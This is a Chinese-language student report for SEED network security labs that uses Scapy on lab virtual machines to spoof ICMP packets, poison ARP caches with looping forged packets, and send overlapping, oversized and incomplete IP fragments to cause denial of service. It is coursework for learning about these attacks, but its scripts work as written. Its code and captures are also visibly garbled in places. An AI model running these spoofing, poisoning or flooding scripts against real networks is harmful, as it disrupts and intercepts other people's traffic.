Lab3 实验报告

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Part1: Packet Sniffifing and Spoofifing Lab

Lab Task Set 1: Using Tools to Sniff and Spoof Packets

首先安装 scapy 工具:

运行简单的嗅探程序:

```
[09/08/20]seed@VM:~$ sudo python3
Python 3.5.2 (default, Nov 17 2016, 17:05:23)
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from scapy.all import *
>>> a = IP()
>>> a.show()
###[ IP ]###
  version
               = 4
  ihl
               = None
               = 0x0
  tos
               = None
  len
  id
               = 1
  flags
               = 0
  frag
               = 64
  ttl
  proto
               = hopopt
  chksum
               = None
               = 127.0.0.1
= 127.0.0.1
  src
  dst
  \options
```

Task 1.1: Sniffifing Packets

Task 1.1A.

使用 root 权限执行程序可以捕获报文信息:

```
[09/08/20]seed@VM:~$ chmod a+x sniffer.py
[09/08/20]seed@VM:~$ sudo ./sniffer.py
###[ Ethernet ]###
dst = 52:54:00:12:35:02
            = 08:00:27:25:08:7d
  src
            = IPv4
 type
###[ IP ]###
     version
                = 5
     ihl
                = 0x0
     tos
     len
                = 84
                = 24761
     id
                = DF
     flags
```

使用普通用户权限执行程序,显示操作不被允许:

```
[09/08/20]seed@VM:~$ sniffer.py
PermissionError: [Errno 1] Operation not permitted
```

因此,报文嗅探需要在 root 权限下实现。

Task 1.1B.

只捕获 ICMP 数据包:

filter='icmp'

捕获来自特定 IP 地址且目的端口是 23 的 TCP 报文:

filter='tcp and src host 10.10.10.10 and dst port 23'

捕获来自或转到特定子网的数据包:


filter='src net 128.230.0.0/16 or dst net 128.230.0.0/16'

修改过滤器后重新执行程序,由于虚拟机能捕获的包较少,故没有符合过滤条件的包被捕获:

```
[09/09/20]seed@VM:~$ sudo python3 sniffer.py
```

Task 1.2: Spoofifing ICMP Packets

首先创建 SEED 副本,得到两个虚拟机:



虚拟机 SEED 的 IP 地址: 10.0.2.5 虚拟机 SEED 副本的 IP 地址: 10.0.2.4

以虚假 IP 地址 10.10.10.10 构造并发送 ICMP 报文:

```
>>> from scapy.all import *
>>> a = IP()
>>> a.src='10.10.10.10'
>>> a.dst='10.0.2.4'
>>> b = ICMP()
>>> p = a/b
>>> send(p)
.
Sent 1 packets.
```

伪造 ICMP 报文方:

No.	Time	Source	Destination	Protocol	Length Info
	5 2020-09-09 05:14:13.8984824	. 10.10.10.10	10.0.2.4	ICMP	44 Echo (ping) request
	6 2020-09-09 05:14:13.8988209	10.0.2.4	10.10.10.10	ICMP	62 Echo (ping) reply

接收伪造 ICMP 报文方:

No.	Time	Source	Destination	Protocol	Length Info
1	6 2020-09-09 05:14:14.1712036	10.10.10.10	10.0.2.4	ICMP	62 Echo (ping) request
-	7 2020-09-09 05:14:14.1712367	10.0.2.4	10.10.10.10	ICMP	44 Echo (ping) reply

其中 10.10.10.10 的 IP 地址是虚假的,该方法可以欺骗具有任意源 IP 地址的 ICMP 回复请求包。

Task 1.3: Traceroute

编写自动化执行程序:

```
from scapy.all import *
import sys
ip_dst = '58.192.118.142'
a = IP()
a.dst = ip_dst
b = ICMP()
isGetDis = 0
mTTL = 1
while isGetDis == False :
    a.ttl = mTTL
    ans, unans = sr(a/b)
    print (ans)
    print (unans)
    if ans.res[0][1].type == 0:
        isGetDis=True
    else:
        i += 1
        mTTL += 1
print ('Get The Distance from VM to ip:%s ,%d '%(ip_dst, i))
```

尝试计算虚拟机到 seu.edu.cn 之间的距离:

```
[09/08/20]seed@VM:~$ ping seu.edu.cn
PING seu.edu.cn (58.192.118.142) 56(84) bytes of data.
64 bytes from 58.192.118.142: icmp_seq=1 ttl=248 time=15.9 ms
64 bytes from 58.192.118.142: icmp_seq=2 ttl=248 time=5.32 ms
64 bytes from 58.192.118.142: icmp_seq=3 ttl=248 time=5.76 ms
64 bytes from 58.192.118.142: icmp_seq=4 ttl=248 time=4.30 ms
64 bytes from 58.192.118.142: icmp_seq=5 ttl=248 time=4.30 ms
64 bytes from 58.192.118.142: icmp_seq=6 ttl=248 time=11.4 ms
64 bytes from 58.192.118.142: icmp_seq=6 ttl=248 time=11.6 ms
64 bytes from 58.192.118.142: icmp_seq=7 ttl=248 time=4.61 ms
64 bytes from 58.192.118.142: icmp_seq=8 ttl=248 time=4.61 ms
64 bytes from 58.192.118.142: icmp_seq=9 ttl=248 time=4.96 ms
64 bytes from 58.192.118.142: icmp_seq=10 ttl=248 time=4.44 ms
64 bytes from 58.192.118.142: icmp_seq=11 ttl=248 time=4.30 ms
^C
--- seu.edu.cn ping statistics ---
11 packets transmitted, 11 received, 0% packet loss, time 10071ms
rtt min/avg/max/mdev = 4.301/7.140/15.911/3.781 ms
```

执行结果显示距离为8:

```
Received 1 packets, got 1 answers, remaining 0 packets
<Results: TCP:0 UDP:0 ICMP:1 Other:0>
<Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>
Get The Distance from VM to ip:58.192.118.142 ,8
```

Task 1.4: Sniffifing and-then Spoofifing

编写嗅探欺骗程序:

```
from scapy.all import *

def print_pkt(pkt):
    a = IP()
    a.src = pkt[IP].dst
    a.dst = pkt[IP].src
    b = ICMP()
    b.type ="echo-reply"
    b.code =0
    b.id = pkt[ICMP].id
    b.seq = pkt[ICMP].seq
    p = a/b
    send(p)

pkt = sniff(filter='icmp[icmptype] == icmp-echo', prn=print_pkt)
```

在 VMB 下以 root 权限下执行嗅探欺骗程序:

```
[09/09/20]seed@VM:~$ sudo python3 sniffandspoof.py
.
Sent 1 packets.
.
.
```

当 VMA ping 一个确定存在的地址时,可以收到欺骗回复和真实回复:

```
[09/09/20]seed@VM:~$ ping seu.edu.cn
PING seu.edu.cn (58.192.118.142) 56(84) bytes of data.
B bytes from 58.192.118.142: icmp_seq=1 ttl=64 (truncated)
64 bytes from 58.192.118.142: icmp_seq=1 ttl=228 time=128 ms (DUP!)
64 bytes from 58.192.118.142: icmp_seq=31 ttl=228 time=118 ms
64 bytes from 58.192.118.142: icmp_seq=32 ttl=228 time=95.3 ms
64 bytes from 58.192.118.142: icmp_seq=33 ttl=228 time=94.6 ms
64 bytes from 58.192.118.142: icmp_seq=34 ttl=228 time=136 ms
```

当 VMA ping 一个不存在的地址时,可以收到欺骗回复:

```
[09/09/20]seed@VM:~$ ping 128.0.0.3
PING 128.0.0.3 (128.0.0.3) 56(84) bytes of data.
```

```
[09/09/20]seed@VM:~$ ping 128.0.0.3

PING 128.0.0.3 (128.0.0.3) 56(84) bytes of data.

8 bytes from 128.0.0.3: icmp_seq=1 ttl=64 (truncated)

8 bytes from 128.0.0.3: icmp_seq=2 ttl=64 (truncated)

8 bytes from 128.0.0.3: icmp_seq=3 ttl=64 (truncated)

8 bytes from 128.0.0.3: icmp_seq=4 ttl=64 (truncated)

8 bytes from 128.0.0.3: icmp_seq=5 ttl=64 (truncated)


8 bytes from 128.0.0.3: icmp_seq=6 ttl=64 (truncated)
```

因此,该嗅探欺骗程序可以使 ping 程序总是收到回复,认为地址 X 是存活的。

Part2: ARP Cache Poisoning Attack Lab

Task 1: ARP Cache Poisoning

首先创建 SEED 副本 2,得到三个虚拟机,其中,将 SEED 作为攻击者 M,将 SEED 副本作为观察者 A,将 SEED 副本 2 作为受害者 B:



虚拟机 M

IP 地址: 10.0.2.5

Mac 地址: 08:00:27:9b:d0:24

虚拟机A

IP 地址: 10.0.2.4

Mac 地址: 08:00:27:ed:a7:d8

虚拟机 B

IP 地址: 10.0.2.6

Mac 地址: 08:00:27:0b:ef:19

Task 1A (using ARP request)

构造并发送 ARP 虚假请求报文,将目的 IP 地址设置为 A 的 IP 地址,将源 IP 地址设置为 B 的 IP,将源 Mac 地址设置为 M 的 Mac 地址, op 字段为 1 表示 ARP 请求:

```
>>> from scapy.all import *

>>> E = Ether()

>>> A = ARP()

>>> A.pdst='10.0.2.4'

>>> A.hwsrc='08:00:27:9B:D0:24'

>>> A.psrc='10.0.2.6'

>>> A.hwlen=6

>>> A.plen=4

>>> pkt = E/A

>>> sendp(pkt)

.
Sent 1 packets.
```

在虚拟机 A 中观察到 ARP 缓存已被欺骗:

[09/10/20]seed@VM:~\$ arp Address 1.0.2.3	HWtype ether	HWaddress 08:00:27:5a:d7:bd	Flags Mask C	Iface enp0s
10.0.2.1	ether	52:54:00:12:35:00	С	enp0s
10.0.2.6	ether	08:00:27:9b:d0:24	c	enp0s
3 10.0.2.5 3	ether	08:00:27:9b:d0:24	С	enp0s

编写循环程序使 M 持续发送虚假 ARP 报文:

```
>>> while(1):
... sendp(pkt)
...
Sent 1 packets.
```

虚拟机 B 尝试与 A 连通但始终失败,说明攻击成功:

```
[09/10/20]seed@VM:~$ ping 10.0.2.4
PING 10.0.2.4 (10.0.2.4) 56(84) bytes of data.
```

Task 1B (using ARP reply)

构造并发送 ARP 虚假响应报文,将目的 IP 地址设置为 A 的 IP 地址,将源 IP 地址设置为 B 的 IP,将源 Mac 地址设置为 M 的 Mac 地址, op 字段为 2表示 ARP 响应:

```
>>> from scapy.all import *
>>> E = Ether()
>>> B = ARP()
>>> B.hwsrc='08:00:27:9B:D0:24'
>>> B.psrc='10.0.2.6'
>>> B.pdst='10.0.2.4'
>>> B.op=2
>>> B.hwlen=6
>>> B.plen=4
>>> ls(B)
hwtype
            : XShortField
                                                     = 1
                                                                         (1)
ptype
hwlen
                                                       2048
                                                                         (2048)
              XShortEnumField
              FieldLenField
                                                                         (None)
                                                     = 6
plen
            : FieldLenField
                                                     = 4
                                                                         (None)
                                                     = 2 (1)
= '08:00:27:9B:D0:24'
            : ShortEnumField
op
hwsrc
              MultipleTypeField
                                                                             (None)
              MultipleTypeField
                                                     = '10.0.2.6'
                                                                         (None)
psrc
                                                     = '00:00:00:00:00' (None)
              MultipleTypeField
hwdst
                                                     = '10.0.2.4'
pdst
              MultipleTypeField
                                                                         (None)
>>> respkt=E/B
```

用 wireshark 探测到 ARP 虚假响应报文:

在虚拟机 A 中观察到 ARP 缓存已被欺骗:

```
[09/10/20]seed@VM:~$ arp
Address
                          HWtype
                                   HWaddress
                                                         Flags Mask
                                                                                Iface
10.0.2.3
                          ether
                                   08:00:27:5a:d7:bd
                                                         C
                                                                                enp0s
10.0.2.1
                          ether
                                   52:54:00:12:35:00
                                                        C
                                                                                enp0s
10.0.2.6
                          ether
                                   08:00:27:9b:d0:24
                                                        C
                                                                                enp0s
10.0.2.5
                          ether
                                   08:00:27:9b:d0:24
                                                        C
                                                                                enp0s
```

编写循环程序使 M 持续发送虚假 ARP 报文:

```
>>> while(1):
... sendp(respkt)
...
Sent 1 packets.
...
Sent 1 packets.
```

虚拟机 B 仍可以与 A 连通:

```
[09/10/20]seed@VM:~$ ping 10.0.2.4
PING 10.0.2.4 (10.0.2.4) 56(84) bytes of data.
64 bytes from 10.0.2.4: icmp_seq=1 ttl=64 time=1.80 ms
64 bytes from 10.0.2.4: icmp_seq=2 ttl=64 time=0.290 ms
```

回到虚拟机 A 中观察 ARP 缓存,发现此时 B 的 IP 地址所对应的 Mac 地址变成了真实 Mac 地址。若关闭 B 与 A 的连通,又变成了虚假 Mac 地址。由此认为,构造虚假 ARP 响应报 文所执行的攻击是不稳定的。

Task 1C (using ARP gratuitous message)

在正常的免费 ARP 报文中,源 IP 地址和目的 IP 地址都是主机 IP 地址,但当构造虚假的免费 ARP 报文时,需要将源 IP 地址和目的 IP 地址设置为受害者的 IP 地址。

构造并发送虚假的免费 ARP 报文:

```
>>> from scapy.all import *
>>> E = Ether()
>>> C=ARP()
>>> C.psrc='10.0.2.6'
>>> C.pdst='10.0.2.6'
>>> C.hwdst='ff:ff:ff:ff'
>>> C.hwsrc='08:00:27:9b:d0:24'
>>> C.hwlen=6
>>> C.plen=4
>>> grapkt=E/C
>>> sendp(grapkt)
```

用 wireshark 探测到免费 ARP 虚假报文:

```
24 2020-09-10 07:10:23.1751684... PcsCompu_9b:d0:24 Broadcast ARP 42 Gratuitous ARP for 10.0.2.6 (Request)
```

在虚拟机 A 中观察到 ARP 缓存已被欺骗:

```
[09/10/20]seed@VM:~$ arp
Address
                          HWtype
                                                                               Iface
                                   HWaddress
                                                        Flags Mask
10.0.2.1
                                   52:54:00:12:35:00
                          ether
                                                        C
                                                                               enp0s
10.0.2.3
                          ether
                                   08:00:27:08:1e:96
                                                        C
                                                                               enp0s
                                   08:00:27:9b:d0:24
10.0.2.6
                          ether
                                                        C
                                                                               enp0s
```

编写循环程序使 M 持续发送虚假 ARP 报文:

```
>>> while(1):
... sendp(grapkt)
```

虚拟机 B 仍可以与 A 连通:

```
[09/10/20]seed@VM:~$ ping 10.0.2.4

PING 10.0.2.4 (10.0.2.4) 56(84) bytes of data.

64 bytes from 10.0.2.4: icmp_seq=1 ttl=64 time=1.57 ms

64 bytes from 10.0.2.4: icmp_seq=2 ttl=64 time=0.596 ms

64 bytes from 10.0.2.4: icmp_seq=3 ttl=64 time=0.407 ms
```

回到虚拟机 A 中观察 ARP 缓存,发现此时 B 的 IP 地址所对应的 Mac 地址变成了真实 Mac 地址。若关闭 B 与 A 的连通,又变成了虚假 Mac 地址。由此认为,构造虚假的免费 ARP 报文所执行的攻击是不稳定的。

Part3: IP/ICMP Attacks Lab


Tasks 1: IP Fragmentation

Task 1.a: Conducting IP Fragmentation

在服务器端开启服务:

[09/10/20]seed@VM:~\$ nc -lu 9090

然后取消 wireshark 的 Reassemble fragmented IPv4 datagrams 选项:



修改 fragments.py 中的相关参数:

```
#!/usr/bin/python3
from scapy.all import *
# Construct IP header
ip = IP(src="10.0.2.5", dst=":
ip.id = 1000 # Identification
                             dst="10.0.2.4")
ip.frag = 0 # Offset of this IP fragment
ip.flags = 1 # Flags
# Construct UDP header
udp = UDP(sport=7070, dport=9090,chksum = 0)
udp.len = 8+32+32+32 # This should be the combined length of all fragments
# Construct payload
payload = 'a'
# Construct the entire packet and send it out pkt = ip/udp/payload # For other fragments, we should use ip/payload
send(pkt, verbose=0)
ip = IP(src="10.0.2.5", dst="10.0.2.4")
ip.id = 1000 # Identification
ip.frag = 5 # Offset of this IP fragment
ip.flags = 1 # Flags
ip.proto=17
payload = 'b' * 32
pkt = ip/payload
send(pkt, verbose=0)
ip = IP(src="10.0.2.5", dst="10.0.2.4")
ip.id = 1000 # Identification
ip.frag = 9 # Offset of this IP fragment
ip.flags = 0 # Flags
ip.proto=17
payload = 'c' * 32
pkt = ip/payload
send(pkt, verbose=0)
```

发送数据包:

[09/10/20]seed@VM:~\$ sudo python3 fragments.py

用 wireshark 探测到分段发送的 UDP 包:

2020-09-10 20:48:32.4661410 10.0.2.5	10.0.2.4	UDP	76 7070 → 9090 Len=96
2020-09-10 20:48:32.5057969 10.0.2.5	10.0.2.4	IPv4	68 Fragmented IP protocol (proto=UDP 17, off=40, ID=03e
2020-09-10 20:48:32.5372209 10.0.2.5	10.0.2.4	IPv4	68 Fragmented IP protocol (proto=UDP 17, off=72, ID=03e

在服务器端接收到数据:

服务器正常显示了96字节的数据。

Task 1.b: IP Fragments with Overlapping Contents

Task 1.b.Case1: 第一段的结束和第二段的开始有 K 字节的重叠

设 K=8, 调整偏移量参数及报文长度参数:

```
#!/usr/bin/python3
from scapy.all import *
# Construct IP header
ip = IP(src="10.0.2.5", dst="10.0.2.4")
ip.id = 1000 # Identification
ip.frag = 0 # Offset of this IP fragment
ip.flags = 1 # Flags
# Construct UDP header
udp = UDP(sport=7070, dport=9090,chksum = 0)
udp.len = 8+32+32+32-8 # This should be the combined length of all fragments
# Construct payload
payload = 'a' * 32
# Construct the entire packet and send it out pkt = ip/udp/payload # For other fragments, we should use ip/payload
send(pkt, verbose=0)
ip = IP(src="10.0.2.5", dst="10.0.2.4")
tp.id = 1000 # Identification
ip.frag = 4 # Offset of this IP fragment
ip.flags = 1 # Flags
ip.proto=17
payload = 'b' * 32
pkt = ip/payload
send(pkt, verbose=0)
ip = IP(src="10.0.2.5", dst="10.0.2.4")
ip.id = 1000 # Identification
ip.frag = 8 # Offset of this IP fragment
ip.flags = 0
                 # Flags
ip.proto=17
payload = 'c' * 32
pkt = ip/payload
send(pkt, verbose=0)
```

执行程序发送报文:

[09/10/20]seed@VM:~\$ sudo python3 fragments.py

用 wireshark 探测到分段发送的 UDP 包:

在服务器端接收到数据:

结果显示,服务器完整显示了第一段的 32 字节数据,而第二段数据中重叠的 K 字节被覆盖,只显示了 24 字节,第三段的 32 字节数据正常显示。

改变第一段和第二段的发送顺序,即先发送第二段报文,后发送第一段报文:

服务器接收到的数据情况不变:

这表明,若存在数据重叠,则后一段报文数据会被前一段报文数据覆盖,与发送顺序没有关系。

Task 1.b.Case2: 第二片段完全封闭在第一片段中

将第二段报文数据长度改成 16 字节,调整偏移量参数及报文长度参数:

```
#!/usr/bin/python3
from scapy.all import *
# Construct IP header
ip = IP(src="10.0.2.5", dst="10.0.2.4")
ip.id = 1000 # Identification
ip.frag = 0 # Offset of this IP fragment
ip.flags = 1 # Flags
# Construct UDP header
udp = UDP(sport=7070, dport=9090,chksum = 0)
udp.len = 8+32+16+32-16 # This should be the combined length of all fragments
# Construct payload
payload = 'a'
# Construct the entire packet and send it out
pkt = ip/udp/payload # For other fragments, we should use ip/payload
send(pkt, verbose=0)
ip = IP(src="10.0.2.5", dst="10.0.2.4")
 p.id = 1000 # Identification
ip.frag = 2 # Offset of this IP fragment
tp.flags = 1 # Flags
ip.proto=17
payload = 'b' * 16
pkt = ip/payload
send(pkt, verbose=0)
#3
"3
ip = IP(src="10.0.2.5", dst="10.0.2.4")
ip.id = 1000 # Identification
ip.frag =5 # Offset of this IP fragment
ip.flags = 0 # Flags
ip.proto=17
payload = 'c' * 32
pkt = ip/payload
send(pkt, verbose=0)
```

执行程序发送报文:

用 wireshark 探测到分段发送的 UDP 包:

在服务器端接收到数据:

结果显示,服务器完整显示了第一段的 32 字节数据,而第二段数据被完全覆盖,第三段的 32 字节数据正常显示。

改变第一段和第二段的发送顺序,即先发送第二段报文,后发送第一段报文:

服务器接收到的数据情况不变:

这表明,若后一段完全封闭在前一段中,则后一段报文数据会被全部覆盖,与发送顺序没有 关系。

Task 1.c: Sending a Super-Large Packet

利用 IP 碎片,构造超过 65536 字节的数据包:

```
"""
i=0
while(i!=1637):
    ip = IP(src="10.0.2.5", dst="10.0.2.4")|
    ip.id = 1000 # Identification
    ip.frag = 5+i*5 # Offset of this IP fragment
    ip.flags = 1 # Flags
    ip.proto=17
    payload = 'b' * 40
    pkt = ip/payload
    send(pkt, verbose=0)
    i=i+1

#3
ip = IP(src="10.0.2.5", dst="10.0.2.4")
ip.id = 1000 # Identification
ip.frag =8190 # Offset of this IP fragment
ip.flags = 0 # Flags
ip.proto=17
payload = 'c' * 1000
pkt = ip/payload
send(pkt, verbose=0)
```

发送数据包:

```
10.0.2.5 10.0.2.4 IPV4 76 Fragmented IP protocol (proto=UDP 17, off=65200, ID=03e8)
10.0.2.5 10.0.2.4 IPV4 76 Fragmented IP protocol (proto=UDP 17, off=65240, ID=03e8)
10.0.2.5 10.0.2.4 IPV4 76 Fragmented IP protocol (proto=UDP 17, off=65280, ID=03e8)
10.0.2.5 10.0.2.4 IPV4 76 Fragmented IP protocol (proto=UDP 17, off=65320, ID=03e8)
10.0.2.5 10.0.2.4 IPV4 76 Fragmented IP protocol (proto=UDP 17, off=65300, ID=03e8)
10.0.2.5 10.0.2.4 IPV4 76 Fragmented IP protocol (proto=UDP 17, off=65400, ID=03e8)
10.0.2.5 10.0.2.4 IPV4 76 Fragmented IP protocol (proto=UDP 17, off=65440, ID=03e8)
10.0.2.5 10.0.2.4 IPV4 76 Fragmented IP protocol (proto=UDP 17, off=65440, ID=03e8)
10.0.2.5 10.0.2.4 IPV4 76 Fragmented IP protocol (proto=UDP 17, off=65440, ID=03e8)
10.0.2.5 10.0.2.4 IPV4 76 Fragmented IP protocol (proto=UDP 17, off=65400, ID=03e8)
10.0.2.5 10.0.2.4 IPV4 76 Fragmented IP protocol (proto=UDP 17, off=65520, ID=03e8)
```

由于总字节长度溢出,服务器无响应:

[09/11/20]seed@VM:~\$ nc -lu 9090

Task 1.d: Sending Incomplete IP Packet

构造大量不完整的 IP 数据包:

```
while(1):
    ip = IP(src="10.0.2.5", dst="10.0.2.4")
    ip.id = 1000 # Identification
    ip.frag = 5+i*4+i # Offset of this IP fragment
    ip.flags = 1 # Flags
    ip.proto=17
    payload = 'b' * 32
    pkt = ip/payload
    send(pkt, verbose=0)
    i=i+1
```

通过 wireshark 观察到, IP 数据包的 offset 在超过 65536 之后又从 0 开始:

```
10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=65409, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=65409, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=65409, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=65520, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=65520, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=24, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=64, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=104, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=104, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=104, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=104, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=104, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=104, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=104, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=104, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=104, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=104, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=104, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=104, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=104, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=104, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 Fragmented IP protocol (proto=UDP 17, off=104, ID=03e8) 10.0.2.5 10.0.2.4 IPV4 68 IPV4 68
```

所有这些不完整的 IP 数据包将停留在内核中,直到它们超时,导致了服务器上的拒绝服务攻击:

[09/11/20]seed@VM:~\$ nc -lu 9090